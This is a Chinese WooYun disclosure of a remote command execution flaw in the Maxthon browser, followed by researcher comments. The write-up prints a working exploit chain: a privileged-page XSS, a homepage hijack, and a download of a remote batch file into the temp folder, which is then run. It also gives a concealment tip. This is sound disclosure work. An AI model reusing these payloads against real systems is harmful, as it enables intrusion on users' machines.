傲游浏览器远程命令执行漏洞（浏览器设计缺陷）

2015年7月31日12:45:49评论272 views字数 221阅读0分44秒阅读模式

摘要

2014-11-05：细节已通知厂商并且等待厂商处理中
2014-11-05：厂商已经确认，细节仅向厂商公开
2014-11-08：细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航、无声信息）
2014-12-30：细节向核心白帽子及相关领域专家公开
2015-01-09：细节向普通白帽子公开
2015-01-19：细节向实习白帽子公开
2015-02-03：细节向公众公开

漏洞概要关注数(58) 关注此漏洞

缺陷编号： WooYun-2014-82043

漏洞标题：傲游浏览器远程命令执行漏洞（浏览器设计缺陷）

漏洞作者： gainover

提交时间： 2014-11-05 11:23

公开时间： 2015-02-03 11:24

漏洞类型：远程代码执行

危害等级：高

自评Rank： 20

漏洞状态：厂商已经确认

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签：远程代码执行浏览器漏洞利用技巧

15人收藏

漏洞详情

披露状态：

简要描述：

上一个漏洞竟然给5分，良心呢！！女又心口扌立！
当用户访问攻击者恶意构造的页面后，可以导致执行攻击者所指定的远程命令。

详细说明：

傲游浏览器在被前人提交了几次命令执行后，一些危险的API，比如File IO 和 maxthon.program.Program.launch 等已经做出了一定程度的限制。

并且，由于之前一些漏洞的洗礼（http://**.**.**.**/bugs/wooyun-2012-07599），使得傲游浏览器对不同域之间的重定向，进行了限制，使得我们无法从http://跳转到一些特权域，比如mx://（会提示无法访问本地资源），这使得我们想在特权域下执行XSS来实现命令执行变得困难。

--------------------------------------------------------------

0x01 获得特权域XSS

--------------------------------------------------------------

1. 首先，我从MxWebkit.dll文件中搜索mx:// 得到一些有用的信息:

2. 我选择了其中一个文件mx://res/notification/saved/index.htm ，进行查看：

通过对代码进行简单的查看，不难发现dir参数进入了innerHTML，但限制了长度30

3. 我们可以构造以下URL，弹窗测试(请自行测试)：

code 区域

mx://res/notification/saved/index.htm#a=1&dir=<svg onload%3dalert(1)>

4. 由于 dir参数具有长度限制30，但这个长度已经足够我们调用外部JS文件了。利用“/u2028”（此字符参见：http://**.**.**.**/papers/938），结合Function(URL)()来执行JS。代码如下：

code 区域

mx://res/notification/saved/index.htm#a=1&dir=<svg onload%3DFunction(URL)()>&【字符：/u2028】var s=document.createElement("script");s.src="**.**.**.**/mx/poc2.js";document.body.appendChild(s);

5. 值得我们注意的是，mx://res/notification/saved/index.htm 页面下，由于功能需要，允许使用maxthon.program.Program.launch这个API，这使得该页面下的XSS，可以执行指定路径的程序，如下图所示：

调用maxthon.program.Program.launch弹出计算器：

code 区域

maxthon.program.Program.launch("C://windows//system32//calc.exe","");

--------------------------------------------------------------

0x02 如何调用特权域XSS？

--------------------------------------------------------------

由于我们无法通过 location.href或是window.open等方式从 http域跳转至 mx域，这使得我们无法自动调用mx域下的XSS。

我们怎么才能调用mx域下的页面呢？

通过一番分析发现， **.**.**.** 域下的 maxthon 对象，允许访问 maxthon.browser.config来更改浏览器的一些用户设置。

于是一个“猥琐”的方法诞生啦～～

那就是将用户默认首页改为 mx://res/notification/saved/index.htm

代码如下：

code 区域

maxthon.browser.config.ConfigManager.set("maxthon.config", "browser.general.multihomepage", '["mx://res/notification/saved/index.htm#a=1&url=1&dir=<svg onload%3DFunction(URL)()>&/u2028var s=document.createElement(///"script///");s.src=///"**.**.**.**/mx/poc2.2.js///";document.body.appendChild(s);"]')

执行以上代码，可以发现，用户首页确实被修改：

由于默认情况下，用户下次启动浏览器时，会自动打开主页：

因此，在下次启动浏览器时，mx://res/notification/saved/index.htm将会被打开，并且执行我们的恶意代码，并通过maxthon.program.Program.launch来执行系统内的应用程序。

--------------------------------------------------------------

0x03 通过external.mxCall函数写入临时文件，达到任意命令执行

--------------------------------------------------------------

上一步，我们通过maxthon.program.Program.launch仅能实现调用系统自带的程序，比如calc.exe，要实现执行我们指定的命令，需要向用户本地写入文件。

通过研究发现，傲游的external.mxCall函数会将远程文件，临时下载到临时目录下，且用户名为用户指定的文件名（即文件名非随机，可预测），以WIN7为例：

code 区域

//当我们执行
    external.mxCall('InstallSkin',  "**.**.**.**/mx/test.bat");

临时目录下会生成test.bat

接着，我们要知道的是，临时目录的路径在哪里呢？

傲游浏览器也为我们提供了相应的API：

code 区域

var p=maxthon.system.Environment.getFolderPath('Mx3data');
   //得到临时目录路径
   var tmp=p+"Temp//";

* 值得说明的是 external.mxCall 只能在 *.**.**.**.** 域下执行，不能在 mx:// 下执行。

--------------------------------------------------------------

0x04 总结

--------------------------------------------------------------

A. 我们找到一个 *.**.**.**.** 下的XSS，这里我就不找了，直接用上一个漏洞中my.**.**.**.**域下的FLASH XSS。

code 区域

<script>
 window.name='var s=document.createElement("script");s.src="**.**.**.**/mx/poc2.1.js?"+Math.random();document.body.appendChild(s);';
 location.href='http://my.**.**.**.**//public/images/swfupload.swf?preventswfcaching=1414769360525&movieName=aaa"])}catch(e){if(!window.wy){window.wy=1;window.name%26%26eval(window.name);}};//';
 </script>

B. 以上代码会调用 **.**.**.**/mx/poc2.1.js，该JS代码如下：

code 区域

(function(){
  //下载远程的test.bat到本地的Temp目录下
  external.mxCall('InstallSkin',  "**.**.**.**/mx/test.bat");
  //将用户浏览器主页设置为 我们利用的mx://域下的地址
  maxthon.browser.config.ConfigManager.set("maxthon.config", "browser.general.multihomepage", '["mx://res/notification/saved/index.htm#a=1&url=1&dir=<svg onload%3DFunction(URL)()>&/u2028var s=document.createElement(///"script///");s.src=///"**.**.**.**/mx/poc2.2.js///";document.body.appendChild(s);"]')
 })();

该JS主要执行两个功能，

一是下载一个test.bat到临时目录下，

二是将用户主页改为 mx://res/notification/saved/index.htm#.. XSS代码...

C. 当用户下一次启动浏览器时，mx://res/notification/saved/index.htm#.. XSS代码... 将会被自动打开，XSS代码将会被自动执行，XSS代码将会调用**.**.**.**/mx/poc2.2.js，其代码内容如下：

code 区域

(function(){
         //获得临时目录路径
  var p=maxthon.system.Environment.getFolderPath('Mx3data');
  var l=p+"//Temp//";
         //执行步骤B中下载的test.bat
  maxthon.program.Program.launch(l+"test.bat","");
 })();

此步骤中，临时目录下的test.bat将会被执行。

--------------------------------------------------

总体来说，就是下面这个图：

具体效果见漏洞证明中的视频演示。

漏洞证明：

效果见视频演示（WIN7）： http://**.**.**.**/v_show/id_XODE5MDEwOTQ0.html

密码：wooyuncmdr

视频演示中，test.bat的内容为 cmd /k ipconfig

由于 mx:// 协议可以向 http:// 跳转，所以被修改的用户主页，可以在执行命令后，跳转为正常的用户主页，以实现一定的隐蔽性。

修复方案：

暂无

版权声明：转载请注明来源 gainover@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2014-11-05 13:14

厂商回复：

请直接报xss漏洞即可。感谢。

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

2014-11-05 11:26 | 心伤的瘦子 ( 普通白帽子 | Rank:147 漏洞数:21 | 严肃点~ 此号为虚拟小号，并不存在实体...)

0

猜猜这次几分

1# 回复此人
2014-11-05 11:30 | 孤独雪狼 ( 普通白帽子 | Rank:761 漏洞数:159 | 七夕手机被偷，这坑爹的七夕啊。。。。)

0

慢慢来二哥从5到20还有好多步呢连载起来

2# 回复此人
2014-11-05 11:35 | 大亮 ( 普通白帽子 | Rank:386 漏洞数:73 | 小段子手)

0

上次的漏洞只给了二哥10分，遨游，你赶紧准备好接洞吧，二哥是不到20分就不善罢甘休的人啊

3# 回复此人
2014-11-05 11:36 | 大亮 ( 普通白帽子 | Rank:386 漏洞数:73 | 小段子手)

0

看错了，是5分

4# 回复此人
2014-11-05 11:46 | 子非海绵宝宝 ( 核心白帽子 | Rank:1413 漏洞数:148 | 发扬海绵宝宝的精神! 你不是海绵宝宝,你怎...)

0

二哥又放大招了

5# 回复此人
2014-11-05 11:58 | p.z ( 普通白帽子 | Rank:411 漏洞数:40 )

0

我猜6分

6# 回复此人
2014-11-05 11:58 | 老和尚 ( 普通白帽子 | Rank:223 漏洞数:45 )

0

已掌握二哥挖洞大法，准备闭关三个月研究后陪刷

7# 回复此人
2014-11-05 12:45 | VinGogh ( 路人 | Rank:28 漏洞数:7 | G.X.)

0

连载开始的节奏么

8# 回复此人
2014-11-05 12:56 | px1624 ( 普通白帽子 | Rank:1171 漏洞数:207 | px1624)

0

我猜最多给10分

9# 回复此人
2014-11-05 12:57 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚，关注互联网安全)

0

NB!

10# 回复此人
2014-11-05 13:06 | Focusstart ( 普通白帽子 | Rank:822 漏洞数:206 | 努力让某某某成为最幸福的女人！)

4

@gainover 我表示已经看懂二哥隐藏含义：女又心口扌立！怒啦！！！

11# 回复此人
2014-11-05 13:07 | mramydnei ( 普通白帽子 | Rank:400 漏洞数:87 )

0

我赌8分

12# 回复此人
2014-11-05 13:11 | 浮萍 ( 普通白帽子 | Rank:1077 漏洞数:217 )

0

15

13# 回复此人
2014-11-05 13:18 | xsser ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)

0

二货厂商

14# 回复此人
2014-11-05 13:20 | px1624 ( 普通白帽子 | Rank:1171 漏洞数:207 | px1624)

0

@gainover 请直接报xss漏洞即可。感谢。哈哈，意思就是说，你不用搞啥其他的了，免得我们还要花时间去看~

15# 回复此人
2014-11-05 13:39 | abaddon ( 实习白帽子 | Rank:37 漏洞数:10 | 冬眠者)

0

转移战场了这是威武

16# 回复此人
2014-11-05 13:42 | Matt ( 普通白帽子 | Rank:523 漏洞数:107 | 承接代码审计 http://codescan.cn/)

0

哈哈

17# 回复此人
2014-11-05 14:31 | 泳少 ( 普通白帽子 | Rank:257 漏洞数:84 | ★ 梦想这条路踏上了，跪着也要...)

0

@xsser 曰二货厂商

18# 回复此人
2014-11-05 14:33 | 老和尚 ( 普通白帽子 | Rank:223 漏洞数:45 )

0

又是精华...

19# 回复此人
2014-11-05 15:40 | abaddon ( 实习白帽子 | Rank:37 漏洞数:10 | 冬眠者)

0

@老和尚收藏关注等公开看过之后肯定挖掘机技术倍增

20# 回复此人
2014-11-05 15:58 | 老和尚 ( 普通白帽子 | Rank:223 漏洞数:45 )

0

@abaddon 每次逛乌云，挖掘机技术都蹭蹭的往上飙

21# 回复此人
2014-11-05 18:27 | abaddon ( 实习白帽子 | Rank:37 漏洞数:10 | 冬眠者)

0

@老和尚挖掘机设计者不是为了多挖坑而是为了挖好坑最后少挖坑哈哈]

22# 回复此人
2014-11-06 11:58 | menmen519 ( 普通白帽子 | Rank:970 漏洞数:166 | http://menmen519.blog.sohu.com/)

0

@gainover 看厂商的回复好像是xss 能否远程执行本地命令直接shell

23# 回复此人
2014-11-08 14:06 | 冷静 ( 路人 | Rank:3 漏洞数:2 )

0

@menmen519 我替厂商回答吧.不能

24# 回复此人

漏洞概要 关注数(58) 关注此漏洞

缺陷编号： WooYun-2014-82043

漏洞标题： 傲游浏览器远程命令执行漏洞（浏览器设计缺陷）

相关厂商： 傲游

漏洞作者： gainover

提交时间： 2014-11-05 11:23

公开时间： 2015-02-03 11:24

漏洞类型： 远程代码执行

危害等级： 高

自评Rank： 20

漏洞状态： 厂商已经确认

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： 远程代码执行 浏览器漏洞利用技巧

15人收藏

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 gainover@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

漏洞评价：

漏洞评价(共0人评价): 登陆后才能进行评分

评价

发表评论

在线咨询

微信

漏洞概要关注数(58) 关注此漏洞

漏洞标题：傲游浏览器远程命令执行漏洞（浏览器设计缺陷）

相关厂商：傲游

漏洞类型：远程代码执行

危害等级：高

漏洞状态：厂商已经确认

Tags标签：远程代码执行浏览器漏洞利用技巧

漏洞评价(共0人评价):

登陆后才能进行评分